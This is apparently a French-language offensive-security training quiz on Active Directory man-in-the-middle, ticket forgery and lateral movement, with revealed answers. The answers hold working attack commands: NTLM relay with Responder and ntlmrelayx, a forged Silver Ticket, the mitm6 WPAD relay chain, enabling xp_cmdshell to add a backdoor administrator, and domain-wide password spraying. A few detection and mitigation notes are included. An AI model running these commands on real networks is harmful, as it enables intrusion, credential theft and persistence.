Chapitre 3.3 Quiz - Attaques Man-in-the-Middle, Usurpation et Mouvement lateral

Mode Quiz - Toutes les reponses sont masquees. Tentez chaque question avant de reveler la reponse.

Question 1

Vous executez Responder sur un reseau d'entreprise et capturez le hachage NTLMv2 suivant en moins de 4 minutes : jsmith::CORP:aabbccddee112233:.... Vous tentez de le cracker avec rockyou.txt pendant 6 heures sans resultat. Quelle est la prochaine etape la plus efficace sur le plan operationnel, et pourquoi le crackage n'est-il pas toujours necessaire ?

Reveler la reponse

Reponse : Relayez le hachage en temps reel avec ntlmrelayx plutot que de le cracker.

Explication : Les hachages NTLMv2 utilisent HMAC-MD5 avec le challenge/reponse complet, ce qui les rend bien plus difficiles a cracker que les hachages NTLM (NT), surtout contre des mots de passe complexes. Un echec de crackage de 6 heures signifie que le mot de passe ne figure probablement pas dans rockyou.txt.

Le crackage n'est pas necessaire car le hachage peut etre relaie directement : le challenge/reponse NTLMv2 est une preuve d'authentification valide que tout service utilisant NTLM acceptera, a condition qu'elle arrive dans la fenetre de session. ntlmrelayx capture et transmet cette preuve a une cible tierce en temps reel.

# Approche correcte : relayer plutot que cracker
# Etape 1 : verifier quels hotes ont la signature SMB desactivee (cibles de relai)
cme smb 192.168.1.0/24 --gen-relay-list /tmp/relay_targets.txt

# Etape 2 : Reconfigurer Responder - desactiver SMB/HTTP pour que ntlmrelayx les gere
sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

# Etape 3 : Demarrer Responder pour l'empoisonnement uniquement
responder -I eth0 -rdw &

# Etape 4 : Relayer vers les hotes sans signature
impacket-ntlmrelayx \\
  -tf /tmp/relay_targets.txt \\
  -smb2support \\
  --dump-lm   # Extraire le SAM local en cas de succes - obtenir des hachages NT (plus rapides a cracker)

Les hachages NT obtenus du SAM (mode 1000 dans hashcat) se crackent bien plus rapidement que les hachages NTLMv2 captures sur le reseau.

Note supplementaire : Si jsmith est administrateur local sur des hotes sans signature, le relai reussit immediatement. Sinon, essayez de cibler le DC via un relai LDAP pour creer un nouvel utilisateur ou modifier les permissions.

MITRE ATT&CK : T1557.001 (Empoisonnement LLMNR/NBT-NS et relai SMB)

Question 2

Expliquez la difference entre une attaque Golden Ticket et une attaque Silver Ticket. Dans quel scenario un attaquant prefererait-il un Silver Ticket meme s'il dispose du hachage krbtgt ?

Reveler la reponse

Reponse : Un Golden Ticket falsifie un TGT en utilisant le hachage krbtgt, accordant l'acces a tout service du domaine. Un Silver Ticket falsifie un ticket de service en utilisant le hachage d'un compte de service specifique, n'accordant l'acces qu'a ce service.

Distinction technique :

Propriete	Golden Ticket	Silver Ticket
Hachage requis	Hachage NTLM krbtgt	Hachage NTLM du compte de service cible
Portee	Tout service du domaine	Un service/SPN specifique
Contact KDC	Oui (presente au KDC pour les tickets de service)	Non - ticket presente directement au service
Detectabilite	Elevee - le KDC voit le TGT falsifie	Faible - le KDC n'est jamais implique
ID evenements	4768, 4769, 4771 sur le DC	Aucun sur le DC
Validite	Jusqu'a la reinitialisation de krbtgt (deux fois)	Jusqu'a la reinitialisation du mot de passe du compte de service

Quand preferer Silver Ticket : Un attaquant qui a besoin d'un acces persistant a un service specifique (ex. : le partage CIFS d'un serveur de fichiers, ou le service MSSQL d'un serveur DB) mais veut eviter de generer des journaux d'evenements DC devrait utiliser un Silver Ticket. Le DC est completement contourne - le ticket falsifie va directement au service cible, qui le valide en utilisant le hachage de son propre compte sans consulter le KDC.

# Silver Ticket pour l'acces CIFS au serveur de fichiers
impacket-ticketer \\
  -nthash FILESERVER_COMPUTER_ACCOUNT_HASH \\
  -domain-sid S-1-5-21-XXXX-XXXX-XXXX \\
  -domain corp.local \\
  -spn cifs/fileserver.corp.local \\
  -duration 365 \\
  jsmith

export KRB5CCNAME=jsmith.ccache
# Acceder au serveur de fichiers - aucun journal DC genere
impacket-smbclient -k -no-pass //fileserver.corp.local/C$

Detection : Les Silver Tickets ne peuvent pas etre detectes au niveau du DC. La detection basee sur l'hote est requise : Evenement 4624 (connexion) sur l'hote du service cible avec des caracteristiques inhabituelles. Microsoft Defender for Identity peut detecter les tickets avec des champs PAC ou des types de chiffrement anormaux.

MITRE ATT&CK : T1558.001 (Golden Ticket), T1558.002 (Silver Ticket)

Question 3

Un testeur d'intrusion execute mitm6 -d corp.local -i eth0 sur un segment interne. En moins de 3 minutes, ntlmrelayx signale un relai reussi et une session SOCKS pour CORP\DA_account. Le testeur n'a craque aucun mot de passe. Expliquez la chaine de protocoles exacte qui a produit ce resultat depuis la requete DHCPv6 jusqu'a la session authentifiee.

Reveler la reponse

Reponse : La chaine de protocoles complete :

Etape 1 - Sollicitation DHCPv6 Windows envoie periodiquement des messages DHCPv6 Solicit (meme sur les reseaux IPv4 uniquement) pour decouvrir la configuration IPv6. mitm6 repond avec un DHCPv6 Advertise/Reply attribuant :

Une adresse IPv6 a la victime
L'adresse IPv6 de l'attaquant comme serveur DNS

Windows prefere le DNS IPv6 au DNS IPv4 par conception.

Etape 2 - Decouverte WPAD via DNS Windows effectue une requete DNS vers le serveur DNS IPv6 de l'attaquant pour wpad.corp.local (Web Proxy Auto-Discovery). mitm6 repond avec l'adresse IPv6 de l'attaquant comme hote WPAD.

Etape 3 - Requete HTTP WPAD avec NTLM Windows demande http://[attacker_ipv6]/wpad.dat. ntlmrelayx intercepte cette requete HTTP et repond avec un 401 Unauthorized exigeant une authentification NTLM. Windows s'authentifie automatiquement en utilisant les identifiants de l'utilisateur actuel (incluant DA_account si cet utilisateur est connecte) - ceci est transparent pour l'utilisateur.

Etape 4 - Relai NTLM vers la cible SMB ntlmrelayx prend l'authentification NTLM de la requete HTTP WPAD et la rejoue vers une cible SMB IPv4 dont la signature est desactivee. La cible valide l'authentification contre le DC et, les identifiants etant valides, accorde la session.

Etape 5 - Session SOCKS ntlmrelayx etablit une session SMB authentifiee et l'expose via un port SOCKS local, permettant a tout outil Impacket de se connecter via l'identite relayes.

Victime (compte DA connecte)
  |
  |-[DHCPv6 Solicit]-------------------> mitm6
  |<-[DHCPv6 Reply: DNS=attacker_ipv6]---|
  |
  |-[DNS: wpad.corp.local?]-------------> mitm6 (comme serveur DNS)
  |<-[DNS: wpad = attacker_ipv6]---------|
  |
  |-[HTTP GET /wpad.dat]----------------> ntlmrelayx (comme serveur HTTP)
  |<-[401 NTLM challenge]----------------|
  |-[HTTP NTLM Auth (identifiants DA)]---> ntlmrelayx
  |                                         |
  |                    ntlmrelayx --[relai Auth SMB]--> Cible (signature off)
  |                                         |<--[Auth SMB reussie]--|
  |<-[200 OK wpad.dat]--------------------|
  |  (la victime continue de naviguer normalement)
  |                                    Session SOCKS active

Point cle : DA_account n'a jamais tape de mot de passe, n'a rien clique et n'etait pas conscient de l'attaque. L'authentification unique (SSO) NTLM de Windows s'est authentifiee automatiquement a ce qu'elle croyait etre le proxy WPAD d'entreprise.

Attenuation : Desactiver DHCPv6 via le pare-feu (bloquer UDP 546/547) si IPv6 n'est pas utilise ; utiliser DHCP pour desactiver WPAD ; desactiver NTLM ou Kerberos peut etre impose.

MITRE ATT&CK : T1557.001, T1557 (Adversaire au milieu)

Question 4

Apres avoir execute impacket-GetUserSPNs, vous trouvez que svc-mssql possede un SPN de MSSQLSvc/dbserver.corp.local:1433. Vous demandez le ticket TGS et le crackez avec hashcat en 4 minutes, obtenant Serv1ceP@ss!. Quelles sont les trois prochaines etapes de mouvement lateral en supposant que ce compte n'a pas de privileges AD speciaux, et comment determineriez-vous s'il en a ?

Reveler la reponse

Reponse :

Etape 1 - Determiner les privileges reels du compte

# Verifier les appartenances aux groupes AD
impacket-GetADUsers \\
  "CORP/svc-mssql:Serv1ceP@ss!@192.168.1.10" \\
  -all | grep -A5 "svc-mssql"

# Verification de groupe plus complete via LDAP
ldapsearch -x -h 192.168.1.10 \\
  -D "svc-mssql@corp.local" \\
  -w 'Serv1ceP@ss!' \\
  -b "DC=corp,DC=local" \\
  "(sAMAccountName=svc-mssql)" \\
  memberOf distinguishedName userAccountControl

# Verifier les droits d'administrateur local sur le serveur DB
cme smb 192.168.1.50 \\
  -u svc-mssql \\
  -p 'Serv1ceP@ss!' \\
  -d CORP
# "Pwn3d!" = administrateur local sur cet hote

Etape 2 - S'authentifier a MSSQL et escalader via xp_cmdshell Les comptes de service ont souvent des privileges sysadmin ou eleves dans MSSQL - le service doit pouvoir gerer sa propre base de donnees :

impacket-mssqlclient \\
  "CORP/svc-mssql:Serv1ceP@ss!@192.168.1.50" \\
  -windows-auth                       # Utiliser l'auth Windows/NTLM

# Dans mssqlclient :
SQL> SELECT SYSTEM_USER;              # Connexion SQL actuelle
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');  # 1 = sysadmin
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';       # Execution de commande OS
SQL> EXEC xp_cmdshell 'net user hacker P@ss123! /add && net localgroup administrators hacker /add';

Etape 3 - Reutilisation des identifiants sur plusieurs services Les comptes de service reutilisent souvent les mots de passe sur differents hotes et services. Le mot de passe craque doit etre utilise en spray :

# Tester la reutilisation du mot de passe sur tout le domaine
cme smb 192.168.1.0/24 \\
  -u svc-mssql \\
  -p 'Serv1ceP@ss!' \\
  -d CORP \\
  --continue-on-success               # Ne pas s'arreter au premier resultat

# Tester contre WinRM, SSH, RDP
cme winrm 192.168.1.0/24 -u svc-mssql -p 'Serv1ceP@ss!'
cme rdp 192.168.1.0/24 -u svc-mssql -p 'Serv1ceP@ss!'

# Verifier aussi si le meme mot de passe est utilise pour les comptes locaux
cme smb 192.168.1.0/24 \\
  -u svc-mssql \\
  -p 'Serv1ceP@ss!' \\
  --local-auth                        # Tester comme compte local (pas domaine)

Si le compte n'a aucun privilege AD special : Verifiez l'acces au systeme de fichiers local sur le serveur DB pour les donnees sensibles (chaines de connexion, fichiers de configuration, sauvegardes contenant des identifiants), et utilisez le serveur DB comme point de pivot vers des segments reseau auxquels le serveur DB est autorise a acceder.

MITRE ATT&CK : T1558.003 (Kerberoasting), T1078.002 (Comptes valides : Comptes de domaine), T1059.009 (SQL), T1021.002 (Partages SMB/Admin)

Fin du Quiz 3.3 - Attaques Man-in-the-Middle, Usurpation et Mouvement lateral